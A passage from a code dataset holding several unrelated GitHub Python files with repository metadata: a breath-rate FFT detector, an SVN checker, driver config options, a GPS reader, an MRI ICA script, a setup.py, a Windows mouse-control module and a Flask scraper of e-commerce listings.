data\n\n\n buff_len = self.buff_len + len(data)\n\n # compute fft of incoming points 逐点计算新数据的频谱\n for m in range(len(data)):\n fft_data = np.zeros(FFT_LEN)\n idx = buff_len-len(data)+m\n if idx < FFT_LEN_2:\n if buff_len < FFT_LEN_2:\n fft_data[FFT_LEN_2-idx:FFT_LEN_2-idx+buff_len] = self.buff[:buff_len]\n else:\n fft_data[FFT_LEN_2-idx:] = self.buff[:idx+FFT_LEN_2]\n\n\n elif idx > buff_len - FFT_LEN_2:\n if buff_len < FFT_LEN_2:\n fft_data[:buff_len] = self.buff[:buff_len]\n else:\n fft_data[:buff_len-idx+FFT_LEN_2] = self.buff[idx-FFT_LEN_2:buff_len]\n\n else:\n fft_data = self.buff[idx-FFT_LEN_2:idx+FFT_LEN_2]\n\n self.spec[idx] = np.abs(np.fft.fft(fft_data))\n\n # update buff_len\n self.buff_len += len(data)\n\n\n # update mu in a complete way 整个序列全部做一次频谱的平均\n for m in range(BUFF_LEN):\n if m > BUFF_LEN:\n break\n\n if m < MU_SPEC_LEN_2:\n self.mu_spec[m] = np.mean(self.spec[:m+MU_SPEC_LEN_2], axis=0)\n elif m > BUFF_LEN - MU_SPEC_LEN_2:\n self.mu_spec[m] = np.mean(self.spec[m-MU_SPEC_LEN_2:], axis=0)\n else:\n self.mu_spec[m] = np.mean(self.spec[m-MU_SPEC_LEN_2:m+MU_SPEC_LEN_2], axis=0)\n\n\n def detect(self, data):\n self.update(data)\n\n # predict br\n br = np.ones(len(data)) * -1\n for m in range(len(data)):\n br[m] = self._predict_breath(self.mu_spec[m])\n\n return br\n\n def _predict_breath(self, spec):\n\n # moving average of spec 做频谱的窗口平滑\n avg_len = 6\n avg_len_2 = 3\n avg = np.zeros(FFT_LEN+avg_len)\n avg[:avg_len_2] = spec[0]\n avg[avg_len_2:FFT_LEN+avg_len_2] = spec\n avg[FFT_LEN+avg_len_2:] = spec[-1]\n\n mu_spec = np.zeros(FFT_LEN)\n for m in range(FFT_LEN):\n mu_spec[m] = np.mean(avg[m:m+avg_len])\n\n # 找频谱上所有的峰值\n cnt = 0\n peak_len = 14\n search = np.arange(peak_len, FFT_LEN-peak_len)\n peak = []\n peakIdx = []\n for m in search:\n # 峰值搜索逻辑\n if (mu_spec[m] > mu_spec[m-1] and mu_spec[m] > mu_spec[m+1]\n and mu_spec[m+1] > mu_spec[m+peak_len] and mu_spec[m-1] > mu_spec[m-peak_len]):\n cnt += 1\n peak.append(mu_spec[m])\n peakIdx.append(m)\n\n brPeak = -1\n brPeakIdx = -1\n\n\n # find the breath peak 呼吸主频的尖峰应当在5-50之内，并且能量值要大于4000，如果测试结果不理想，可以动态调整这两个数值\n for m in range(len(peak)):\n if peakIdx[m] < 50 and peakIdx[m] > 5 and peak[m] > 20000:\n brPeak = peak[m]\n brPeakIdx = peakIdx[m]\n break\n\n if brPeakIdx < 0:\n br = -1\n else:\n diffIdx = np.zeros(len(peak))\n for m in range(len(peakIdx)):\n diffIdx[m] = peakIdx[m] - brPeakIdx*2\n if diffIdx[m] > 0:\n # found the side peak 找到主频的谐波旁瓣\n sidePeak = peak[m]\n sidePeakIdx = peakIdx[m]\n break\n\n if sidePeakIdx < 0:\n br = -1\n else:\n if brPeak / sidePeak > 1.5: # 如果比值大于1.3，则认为该呼吸成分周期特征明显\n br = brPeakIdx\n else:\n br = -1\n\n return br\n\n\n\n\nif __name__ == '__main__':\n bd = BreathDetector()\n for m in range(100):\n bd.detect(range(10))\n\n","repo_name":"lingfliu/sil_breath_algorithm","sub_path":"breath_detect.py","file_name":"breath_detect.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"35078143947","text":"# Copyright (c) 2009-2010 Simplistix Ltd\r\n#\r\n# See license.txt for more details.\r\n\r\nimport execute\r\nfrom re import compile,MULTILINE\r\n\r\nsvnexternal_re = compile(\r\n \"(^X.*\\n)|(\\nPerforming status on external item at '.*')\\n\",\r\n MULTILINE\r\n )\r\n\r\ndef check(config_folder,path): \r\n execute.simple('svn up -q '+path)\r\n return svnexternal_re.sub('',execute.simple('svn status '+path))\r\n","repo_name":"simplistix/checker","sub_path":"checker/checkers/svn.py","file_name":"svn.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"13303890600","text":"from oslo_config import cfg\nfrom oslo_log import log as logging\n\nFSS_OPTS = [\n cfg.IntOpt('fss_pool',\n default='',\n help='FSS pool id in which FalconStor volumes are stored.'),\n cfg.BoolOpt('fss_debug',\n default=False,\n help=\"Enable HTTP debugging to FSS\"),\n cfg.StrOpt('additional_retry_list',\n default='',\n help='FSS additional retry list, separate by ;')\n]\n\nCONF = cfg.CONF\nCONF.register_opts(FSS_OPTS)\n\nLOG = logging.getLogger(__name__)\n\nRETRY_LIST = ['107', '2147680512']\nRETRY_CNT = 5\nRETRY_INTERVAL = 15\nOPERATION_TIMEOUT = 60 * 60\n\n\nclass FSSHTTPError(Exception):\n\n def __init__(self, target, response):\n super(FSSHTTPError, self).__init__()\n self.target = target\n self.code = response['code']\n self.text = response['text']\n self.reason = response['reason']\n\n def __str__(self):\n msg = (\"FSSHTTPError code {0} returned by REST at {1}: {2}\\n{3}\")\n return msg.format(self.code, self.target,\n self.reason, self.text)\n","repo_name":"falcopenstack/cinderdriver","sub_path":"cinder/volume/drivers/falconstor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22604813175","text":"import re\nfor _ in range(int(input())):\n string = str(input())\n print(re.sub('(?<=\\s)(&&|\\|\\|)(?=\\s)', lambda i:'and' if i.group(1)==\"&&\" else \"or\",string))\n\n#(?<=)->lookbehind_syntax\n#\\s->matches_white_space\n#&&->andsymbol\n#1st_pip |-> defines alter or lookfor other\n#\\|\\|-> cancelthe special meaning of pipe, as we know \\ is an escape character","repo_name":"arunkumar27-ank-tech/Hackerrank_PYTHON","sub_path":"13.Regex and parsing/Solutions/regex-substitution.py","file_name":"regex-substitution.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26063383674","text":"class config: \n def __init__(self):\n \n\n self.sample_rate = 44100 \n self.n_fft = 4096 \n self.win_length = self.n_fft\n self.hop_length = int(self.win_length/4) \n self.n_mels = 256\n\n self.process_data = True\n self.process_data_f = 'new_data/'\n\n self.epochs = 100\n self.batch_size = 32\n \n # augmentation\n self.DIFF_FREQ = True\n self.MIXUP = True\n self.SPEC_AUG = True\n \n # Mixing rate of 10class and 3class\n self.mix_rate = 0.8\n \n \n ","repo_name":"Wangkkklll/DSMN_dcase2023","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"} +{"seq_id":"734462196","text":"from gps import *\nimport threading\n\n\n# from https://github.com/custom-build-robots/Feinstaubsensor/\n\n# Klasse um auf den GPSD Stream via Thread zuzugreifen.\nclass GpsdStreamReader(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n\n self.session = gps(mode=WATCH_ENABLE)\n self.g_utc = self.session.utc\n self.g_lat = self.session.fix.latitude\n self.g_lng = self.session.fix.longitude\n\n self.current_value = None\n # Der Thread wird ausgefuehrt\n self.running = True\n\n def run(self):\n while self.running:\n # Lese den naechsten Datensatz von GPSD\n self.session.next()\n self.g_utc = self.session.utc\n self.g_lat = self.session.fix.latitude\n self.g_lng = self.session.fix.longitude\n","repo_name":"phiph-s/FeinstaubmesserSimple","sub_path":"GpsdStreamReader.py","file_name":"GpsdStreamReader.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19451377120","text":"import sys\nfrom threading import Thread\n\nclass PyMouseMeta(object):\n\n def press(self, x, y, button = 1):\n \"\"\"Press the mouse on a givven x, y and button.\n Button is defined as 1 = left, 2 = right, 3 = middle.\"\"\"\n\n raise NotImplementedError\n\n def release(self, x, y, button = 1):\n \"\"\"Release the mouse on a givven x, y and button.\n Button is defined as 1 = left, 2 = right, 3 = middle.\"\"\"\n\n raise NotImplementedError\n\n def click(self, x, y, button = 1):\n \"\"\"Click the mouse on a givven x, y and button.\n Button is defined as 1 = left, 2 = right, 3 = middle.\"\"\"\n\n self.press(x, y, button)\n self.release(x, y, button)\n \n def move(self, x, y):\n \"\"\"Move the mouse to a givven x and y\"\"\"\n\n raise NotImplementedError\n\n def position(self):\n \"\"\"Get the current mouse position in pixels.\n Returns a tuple of 2 integers\"\"\"\n\n raise NotImplementedError\n\n def screen_size(self):\n \"\"\"Get the current screen size in pixels.\n Returns a tuple of 2 integers\"\"\"\n\n raise NotImplementedError\n\nclass PyMouseEventMeta(Thread):\n \n deamon = True\n capture = False\n state = True\n\n def stop(self):\n self.state = False\n\n def click(self, x, y, button, press):\n \"\"\"Subclass this method with your click event handler\"\"\"\n\n pass\n\n def move(self, x, y):\n \"\"\"Subclass this method with your move event handler\"\"\"\n\n pass\n\n\n\nif sys.platform.startswith('java'):\n from java_ import PyMouse\n\nelif sys.platform == 'darwin':\n from mac import PyMouse, PyMouseEvent\n\nelif sys.platform == 'win32':\n from windows import PyMouse, PyMouseEvent\n\nelse:\n from unix import PyMouse, PyMouseEvent\n\n\n\n\n################\n\n# -*- coding: iso-8859-1 -*-\n\n# Copyright 2010 Pepijn de Vos\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nclicks = [None, 2, 8, 32]\nreleases = [None, 4, 16, 64]\n\nfrom ctypes import *\nfrom win32api import GetSystemMetrics\nfrom pymouse import PyMouseMeta, PyMouseEventMeta\nimport pythoncom, pyHook\nfrom time import sleep\n\nPUL = POINTER(c_ulong)\nclass MouseInput(Structure):\n _fields_ = [(\"dx\", c_long),\n (\"dy\", c_long),\n (\"mouseData\", c_ulong),\n (\"dwFlags\", c_ulong),\n (\"time\",c_ulong),\n (\"dwExtraInfo\", PUL)]\n\nclass Input_I(Union):\n _fields_ = [(\"mi\", MouseInput)]\n\nclass Input(Structure):\n _fields_ = [(\"type\", c_ulong), (\"ii\", Input_I)]\n\nFInputs = Input * 2\nextra = c_ulong(0)\n\nclick = Input_I()\nclick.mi = MouseInput(0, 0, 0, 2, 0, pointer(extra))\nrelease = Input_I()\nrelease.mi = MouseInput(0, 0, 0, 4, 0, pointer(extra))\n\nblob = FInputs( (0, click), (0, release) )\n\nclass POINT(Structure):\n _fields_ = [(\"x\", c_ulong),\n (\"y\", c_ulong)]\n\nclass PyMouse(PyMouseMeta):\n def press(self, x, y, button = 1):\n self.move(x, y)\n blob[0].ii.mi.dwFlags = clicks[button]\n windll.user32.SendInput(2,pointer(blob),sizeof(blob[0]))\n\n def release(self, x, y, button = 1):\n self.move(x, y)\n blob[1].ii.mi.dwFlags = releases[button]\n windll.user32.SendInput(2,pointer(blob),sizeof(blob[0]))\n\n def move(self, x, y):\n windll.user32.SetCursorPos(x, y)\n\n def position(self):\n pt = POINT()\n windll.user32.GetCursorPos(byref(pt))\n return pt.x, pt.y\n\n def screen_size(self):\n width = GetSystemMetrics(0)\n height = GetSystemMetrics(1)\n return width, height\n\nclass PyMouseEvent(PyMouseEventMeta):\n def run(self):\n hm = pyHook.HookManager()\n hm.MouseAllButtons = self._click\n hm.MouseMove = self._move\n hm.HookMouse()\n\n while self.state:\n sleep(0.01)\n pythoncom.PumpWaitingMessages()\n\n def _click(self, event):\n x,y = event.Position\n\n if event.Message == pyHook.HookConstants.WM_LBUTTONDOWN:\n self.click(x, y, 1, True)\n elif event.Message == pyHook.HookConstants.WM_LBUTTONUP:\n self.click(x, y, 1, False)\n elif event.Message == pyHook.HookConstants.WM_RBUTTONDOWN:\n self.click(x, y, 2, True)\n elif event.Message == pyHook.HookConstants.WM_RBUTTONUP:\n self.click(x, y, 2, False)\n elif event.Message == pyHook.HookConstants.WM_MBUTTONDOWN:\n self.click(x, y, 3, True)\n elif event.Message == pyHook.HookConstants.WM_MBUTTONUP:\n self.click(x, y, 3, False)\n return not self.capture\n\n def _move(self, event):\n x,y = event.Position\n self.move(x, y)\n return not self.capture\n","repo_name":"olkaiser/runoob-git-test","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":5139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3534848946","text":"from utils import run, ParsingConfig\n\nexample_answer = 5\n\nexample_data = \"\"\"\n0,9 -> 5,9\n8,0 -> 0,8\n9,4 -> 3,4\n2,2 -> 2,1\n7,0 -> 7,4\n6,4 -> 2,0\n0,9 -> 2,9\n3,4 -> 1,4\n0,0 -> 8,8\n5,5 -> 8,2\n\"\"\"\n\n\nX = 0\nY = 1\n\n\nclass Board:\n def __init__(self):\n self.counts = {}\n\n def parse(self, start, end):\n if start[X] == end[X]:\n x = start[X]\n for y in range(min(start[Y], end[Y]), max(start[Y], end[Y]) + 1):\n self.mark((x, y))\n elif start[Y] == end[Y]:\n y = start[Y]\n for x in range(min(start[X], end[X]), max(start[X], end[X]) + 1):\n self.mark((x, y))\n\n def mark(self, point):\n count = self.counts.get(point, 0)\n self.counts[point] = count + 1\n\n\nparsing_config = ParsingConfig(\n parser_class=Board,\n field_separator=\" -> \",\n value_converter=lambda val: tuple([int(n) for n in val.split(\",\")]),\n)\n\n\ndef solve(board: Board):\n counts = board.counts\n return len([_ for _, count in counts.items() if count >= 2])\n\n\nif __name__ == \"__main__\":\n run(example_data, example_answer, parsing_config, solve)\n","repo_name":"csymeonides/advent-of-code","sub_path":"src/solutions/2021/d5p1.py","file_name":"d5p1.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8992027822","text":"# Author: RT\n# Date: 2022-06-30T15:27:13.502Z\n# URL: https://leetcode.com/problems/minimum-moves-to-equal-array-elements-ii/\n\n\nclass Solution:\n def minMoves2(self, nums: list[int]) -> int:\n n = len(nums)\n nums.sort()\n ans = 0\n # Optmization: use partial sort (quickselect) to find median\n mid = nums[n // 2]\n for num in nums:\n ans += abs(mid - num)\n return ans\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/462-minimum-moves-to-equal-array-elements-ii.py","file_name":"462-minimum-moves-to-equal-array-elements-ii.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"9104031192","text":"__author__ = 'Ralph'\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Imports\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport sklearn.decomposition as decomposition\nimport nibabel\n\nimport util\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Constants\n\nGM_FILE = 'swc1nu.nii.txt'\nLOG_FILE = '/data/raw_data/imagemend/uio/smri/log.txt'\nSUBJECT_DIR = '/data/raw_data/imagemend/uio/smri/raw'\nSUBJECT_FILE = '/data/raw_data/imagemend/uio/smri/subjects.csv'\nCOMPONENT_DIR = '/data/raw_data/imagemend/uio/smri/ica'\n\n# GM_FILE = 'swc1nu.nii.txt'\n# LOG_FILE = '../data/uio/smri/log.txt'\n# SUBJECT_DIR = '../data/uio/smri/normalized'\n# SUBJECT_FILE = '../data/uio/smri/subjects.csv'\n# COMPONENT_DIR = '../data/uio/smri/ica'\n\nLOG = open(LOG_FILE, 'w')\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef load_subject_ids():\n\n\tsubject_ids = []\n\tf = open(SUBJECT_FILE, 'r')\n\tfor subject_id in f.readlines():\n\t\tsubject_ids.append(subject_id.strip())\n\tf.close()\n\treturn subject_ids\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef to_dataframe(data, index, columns):\n\n\tcolumns = []\n\tfor i in range(data.shape[1]):\n\t\tcolumns.append('X{}'.format(i))\n\tdata_frame = pd.DataFrame(data, columns=columns, index=index)\t\n\treturn data_frame\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef load_data():\n\n\ti = 1\n\txdim = 0\n\tydim = 0\n\tzdim = 0\n\tdata = []\n\n\tsubject_ids = load_subject_ids()\n\n\tfor subject_id in subject_ids:\n\t\tlog('loading {} / {}'.format(i, len(subject_ids)))\n\t\tfi = open(os.path.join(SUBJECT_DIR, subject_id, GM_FILE), 'r')\n\t\tif i == 1:\n\t\t\txpos = np.array(fi.readline().strip().split(' '), dtype=np.int)\n\t\t\txdim = np.max(xpos) + 1\n\t\t\typos = np.array(fi.readline().strip().split(' '), dtype=np.int)\n\t\t\tydim = np.max(ypos) + 1\n\t\t\tzpos = np.array(fi.readline().strip().split(' '), dtype=np.int)\n\t\t\tzdim = np.max(zpos) + 1\n\t\t\tlog(' dim: {} x {} x {}'.format(xdim, ydim, zdim))\n\t\telse:\n\t\t\tfi.readline()\n\t\t\tfi.readline()\n\t\t\tfi.readline()\n\t\tdata.append(fi.readline().strip().split(' '))\n\t\tfi.close()\n\t\ti += 1\n\n\tlog('converting to float')\n\tdata = np.array(data, dtype=np.float)\n\n\tlog('centering data')\n\tdata = center_data(data)\n\n\tlog('converting to data frame')\n\tcolumns = []\n\tfor i in range(data.shape[1]):\n\t\tcolumns.append('V{}'.format(i))\n\tdata_frame = pd.DataFrame(data, columns=columns, index=subject_ids)\n\n\t# log('write to csv')\n\t# data_frame.to_csv(os.path.join(COMPONENT_DIR, 'voxels.txt'), index=True, index_label='id')\n\n\treturn data_frame, xdim, ydim, zdim\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef center_data(X):\n\n\tn_rows, n_cols = X.shape\n\tX = X - X.mean(axis=0)\n\tX = X - X.mean(axis=1).reshape(n_rows, 1)\n\treturn X\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef write_nifti(file_name, data, shape):\n\n\tdata = data.reshape(shape)\n\timage = nibabel.Nifti1Image(data, np.eye(4))\n\timage.to_filename(file_name)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef write_csv(file_path, data):\n\n\tnp.savetxt(file_path, data, delimiter=',', fmt='%.8f')\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef log(message, close=False):\n\n\tprint(message)\n\tLOG.write(message + '\\n')\n\tif close:\n\t\tLOG.close()\n\n\n# ----------------------------------------------------------------------------------------------------------------------\ndef run_ica():\n\n\tlog('loading data')\n\tstart = util.now()\n\tvoxels, xdim, ydim, zdim = load_data()\n\tlog(' elapsed: {}'.format(util.elapsed(start)))\n\n\tlog('running independent component analysis')\n\tstart = util.now()\n\tica = decomposition.FastICA(n_components=64, max_iter=200)\n\tsources = ica.fit_transform(voxels)\n\tsources = to_dataframe(sources, load_subject_ids(), ['X{}'.format(i) for i in range(64)])\n\tlog(' elapsed: {}'.format(util.elapsed(start)))\n\n\tlog('calculating correlations between voxel and component time courses')\n\tstart = util.now()\n\tcorrelations = []\n\tfor voxel in voxels.columns[:32]:\n\t\tvoxel = voxels[voxel]\n\t\tmax_correlation = 0\n\t\tfor source in sources.columns:\n\t\t\tsource = sources[source]\n\t\t\tcorrelation = np.corrcoef(voxel, source)\n\t\t\tif correlation > max_correlation:\n\t\t\t\tmax_correlation = correlation\n\t\tcorrelations.append(max_correlation)\n\tlog(' elapsed: {}'.format(util.elapsed(start)))\n\n\t# log('writing source signals to csv file')\n\t# start = util.now()\n\t# write_csv(os.path.join(COMPONENT_DIR, 'sources.txt'), X_new)\n\t# log(' elapsed: {}'.format(util.elapsed(start)))\n\t\n\t# log('writing components to nifti file')\n\t# if not os.path.isdir(COMPONENT_DIR):\n\t# \tos.mkdir(COMPONENT_DIR)\n\t# start = util.now()\n\t# i = 1\n\t# for component in components:\n\t# \tlog(' writing {} / {}'.format(i, len(components)))\n\t# \twrite_nifti('c{}.nii.gz'.format(i), component, (xdim, ydim, zdim))\n\t# \ti += 1\n\t# log(' elapsed: {}'.format(util.elapsed(start)))\n\t\n\t# log('writing components to csv file')\n\t# start = util.now()\n\t# write_csv(os.path.join(COMPONENT_DIR, 'components.txt'), components)\n\t# log(' elapsed: {}'.format(util.elapsed(start)))\n\t# log('done', close=True)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n\n\trun_ica()\n","repo_name":"rbrecheisen/scripts","sub_path":"imagemend/misc/run_ica.py","file_name":"run_ica.py","file_ext":"py","file_size_in_byte":5786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19533510965","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Mar 13 19:45:02 2022\r\n\r\n@author: nolan\r\n\"\"\"\r\n\r\n# n = 3\r\n# m = [[1,2,3], [5,1,4], [2,6,5]]\r\n#HELLO\r\n#welcomeToTheLand\r\n#NowLetsSTART\r\n#CODING\r\n#YAY \r\n\r\n\r\nn = int(input())\r\nm = []\r\nfor f in range(n):\r\n m.append(list(map(int, input().split())))\r\n\r\nfor i in range(n):\r\n k = 0 #row index of min [i,k]\r\n for j in range(n):\r\n # find index of min - k\r\n if m[i][j] < m[i][k]:\r\n k = j\r\n # print(m[i][j])\r\n\r\n h = 0 #col index of max [h, i]\r\n for j in range(n):\r\n # find index of max - h\r\n if m[j][i] > m[h][i]:\r\n h = j\r\n # print(m[j][i])\r\n\r\n #print(m[i][k], m[h][i])\r\n \r\n # swap \r\n # temp = m[i][k] \r\n # m[i][k] = m[h][i]\r\n # m[h][i] = temp\r\n m[i][k], m[h][i] = m[h][i], m[i][k]\r\n \r\n #sort m[i]\r\n m[i].sort()\r\n \r\nfor i in range(n):\r\n print(*m[i])","repo_name":"nolan11701/cs102","sub_path":"week3/2.Matrix_Game.py","file_name":"2.Matrix_Game.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5318644526","text":"from codecs import open\nfrom os import path\n\nfrom setuptools import setup\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the relevant file\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='centerline',\n version='0.4.1',\n description='Calculate the centerline of a polygon',\n long_description=long_description,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Intended Audience :: Science/Research',\n 'Intended Audience :: Developers',\n 'Topic :: Scientific/Engineering :: GIS',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ],\n url='https://github.com/fitodic/centerline.git',\n author='Filip Todic',\n author_email='todic.filip@gmail.com',\n license='MIT',\n packages=['centerline'],\n install_requires=[\n 'GDAL>=2.0.1',\n 'Fiona>=1.7.0',\n 'Shapely>=1.5.13',\n 'numpy>=1.10.4',\n 'scipy>=0.16.1',\n ],\n extras_require={\n 'dev': [\n 'pylama',\n 'ipdb',\n 'ipython[all]',\n 'notebook',\n 'jupyter',\n 'isort'\n ],\n 'test': [\n 'coverage',\n 'pytest>=3.0.0',\n 'pytest-cov',\n 'pytest-sugar',\n 'pytest-runner'\n ],\n 'docs': [\n 'Sphinx',\n 'sphinx_rtd_theme'\n ]\n },\n scripts=[\n 'bin/create_centerlines',\n ],\n include_package_data=True,\n zip_safe=False,\n)\n","repo_name":"mxwell/centerline","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"11638503532","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport click\nfrom box import Box\nimport opengate as gate\nimport test045_gan_phsp_pet_gan_helpers as t45\nfrom opengate.tests import utility\n\npaths = utility.get_default_test_paths(__file__, \"\", \"test045\")\n\nCONTEXT_SETTINGS = dict(help_option_names=[\"-h\", \"--help\"])\n\n\n@click.command(context_settings=CONTEXT_SETTINGS)\n@click.option(\"--phantom\", \"-p\", default=\"analytic\", help=\"Phantom : analytic or vox\")\n@click.option(\"--source\", \"-s\", default=\"analytic\", help=\"Source : analytic or vox\")\n@click.option(\"--rad\", \"-r\", default=\"Ga68\", help=\"Radionuclide Ga68 or F18, etc\")\n@click.option(\"--gaga\", default=False, is_flag=True, help=\"Use gaga (GAN) or not\")\n@click.option(\"--pet\", default=False, is_flag=True, help=\"W/wo PET output\")\n@click.option(\"--activity_bqml\", \"-a\", default=\"10\", help=\"Activity in BqmL\")\n@click.option(\"--threads\", \"-t\", default=1, help=\"Nb of threads\")\n@click.option(\"--visu\", \"-v\", default=False, is_flag=True, help=\"visu for debug\")\n@click.option(\n \"--output_folder\", \"-o\", default=\".\", help=\"output folder (AUTO for the tests)\"\n)\n@click.option(\"--seed\", default=\"auto\", help=\"random engine seed\")\ndef go(\n phantom, source, rad, gaga, pet, activity_bqml, visu, threads, output_folder, seed\n):\n run_test_045_speedrun(\n phantom,\n source,\n rad,\n gaga,\n pet,\n activity_bqml,\n visu,\n threads,\n output_folder,\n seed,\n )\n\n\ndef run_test_045_speedrun(\n phantom, source, rad, gaga, pet, activity_bqml, visu, threads, output_folder, seed\n):\n # WARNING\n # only to check computation times, I did not check results\n\n p = Box()\n p.phantom_type = phantom\n p.source_type = source\n p.use_gaga = gaga\n p.use_pet = pet\n p.activity_Bqml = float(activity_bqml)\n p.number_of_threads = threads\n p.radionuclide = rad\n\n # (could be options)\n p.iec_vox_mhd = str(paths.data / \"iec_2mm.mhd\")\n p.iec_vox_json = paths.data / \"iec_2mm.json\"\n p.source_vox_mhd = str(paths.data / \"iec_source_4mm.mhd\")\n p.gaga_pth = paths.data / \"pth120_test9221_GP_0GP_10.0_100000.pth\"\n\n gate.utility.print_dic(p)\n\n # output\n if output_folder == \"AUTO\":\n output_folder = paths.output\n out = f\"test045_speedup_p_{p.phantom_type}_s_{p.source_type}_pet_{p.use_pet}_gaga_{gaga}\"\n p.pet_output = f\"{output_folder}/{out}.root\"\n\n # init the simulation\n sim = gate.Simulation()\n\n # visu\n sim.visu = visu\n if visu:\n p.iec_vox_mhd = paths.data / \"5x5x5.mhd\"\n p.activity_Bqml = 1\n\n # seed\n if seed != \"auto\":\n seed = int(seed)\n sim.random_seed = seed\n\n # create the simulation\n t45.create_pet_simulation(sim, p)\n\n # warning cuts\n\n sim.run()\n\n # print\n stats = sim.output.get_actor(\"Stats\")\n print(stats)\n\n # save\n stats.write(f\"{output_folder}/{out}.txt\")\n\n if p.use_pet:\n import uproot\n\n phsp = sim.output.get_actor(\"Singles\").user_info\n f = phsp.output\n s = uproot.open(f)[\"Singles\"]\n print(f\"Number of singles: \", s.num_entries)\n\n return stats.pps\n\n\n# --------------------------------------------------------------------------\nif __name__ == \"__main__\":\n go()\n","repo_name":"OpenGATE/opengate","sub_path":"opengate/tests/src/test045_speedup.py","file_name":"test045_speedup.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"3"} +{"seq_id":"10695814556","text":"import flask\nfrom flask import request, jsonify\nimport requests\nfrom bs4 import BeautifulSoup\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = False\n\nbooks = [\n {'id': 0,\n 'title': 'A Fire Upon the Deep',\n 'author': 'Vernor Vinge',\n 'first_sentence': 'The coldsleep itself was dreamless.',\n 'year_published': '1992'},\n {'id': 1,\n 'title': 'The Ones Who Walk Away From Omelas',\n 'author': 'Ursula K. Le Guin',\n 'first_sentence': 'With a clamor of bells that set the swallows soaring, the Festival of Summer came to the city Omelas, bright-towered by the sea.',\n 'published': '1973'},\n {'id': 2,\n 'title': 'Dhalgren',\n 'author': 'Samuel R. Delany',\n 'first_sentence': 'to wound the autumnal city.',\n 'published': '1975'}\n]\n\n\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return \"

    Distant Reading Archive

    This site is a prototype API for distant reading of science fiction novels.

    \"\n\n@app.route('/api/v1/resources/books/all', methods=['GET'])\ndef api_all():\n return jsonify(books)\n\n@app.route('/api/v1/resources/books', methods=['GET'])\ndef api_id():\n # Check if an ID was provided as part of the URL.\n # If ID is provided, assign it to a variable.\n # If no ID is provided, display an error in the browser.\n if 'id' in request.args:\n id = int(request.args['id'])\n else:\n return \"Error: No id field provided. Please specify an id.\"\n results = []\n\n for book in books:\n if book['id'] == id:\n results.append(book)\n return jsonify(results)\n\n\n@app.route('/api/awari/items', methods=['GET'])\ndef api_search():\n if 'search' in request.args:\n search = request.args['search']\n else:\n return \"Error: No id field provided. Please specify an id.\"\n results = []\n\n products = []\n for x in range(1, 4):\n baseurl = f\"https://www.jumia.com.ng/catalog/?q={search}&page={x}#catalog-listing\"\n\n r = requests.get(baseurl)\n\n soup = BeautifulSoup(r.content, 'lxml')\n\n myList = soup.find_all('article', class_='prd _fb col c-prd')\n\n for item in myList:\n name = item.find('h3', class_='name').text.strip()\n price = item.find('div', class_='prc').text.strip()\n imgUrl = item.find('img', 